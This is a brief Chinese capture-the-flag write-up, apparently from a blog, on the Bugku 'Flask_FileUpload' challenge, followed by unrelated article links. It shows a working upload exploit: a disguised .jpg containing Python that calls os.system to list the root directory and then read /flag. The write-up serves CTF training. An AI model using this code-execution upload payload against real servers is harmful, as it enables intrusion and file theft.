技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
金融小白数据分析之路
4 分钟前
绍兴市镇街echarts 制作
前端·数据库·echarts
介一安全
9 分钟前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src
爱昏羔
12 分钟前
上篇:从PDF到向量库 — 物流行业RAG系统的知识库构建全解析
python·langchain·pdf·agent·rag
麻雀飞吧
16 分钟前
最新量化实现难点,规则和流程要先有形状
人工智能·python
用户033212666367
19 分钟前
使用 Python 在 Word 文档中添加或删除文本框
python
Slice_cy
39 分钟前
Mint 自研框架设计与实现:从重复开发走向配置驱动(二)
前端·后端·架构
greenbbLV
42 分钟前
积分兑换商城供应商挑选:避坑要点与靠谱选择解析
前端·小程序
a111776
1 小时前
3D 建筑编辑器 Pascal Editor THreeJS 开源
前端·3d·html
jason_yang
1 小时前
写给女儿的英语App
前端·人工智能
LadenKiller
1 小时前
近期AI量化辅助,工具重点要跟学习阶段变化
人工智能·python
热门推荐
01GitHub 镜像站点02如何新建文件夹? 电脑新建文件夹的4种方法032026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片04AI科技热点日报 | 2026年07月01日05国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)06AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路072026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?082026 年 AI 大模型 & AI 编程工具实战全总结09微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新10幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南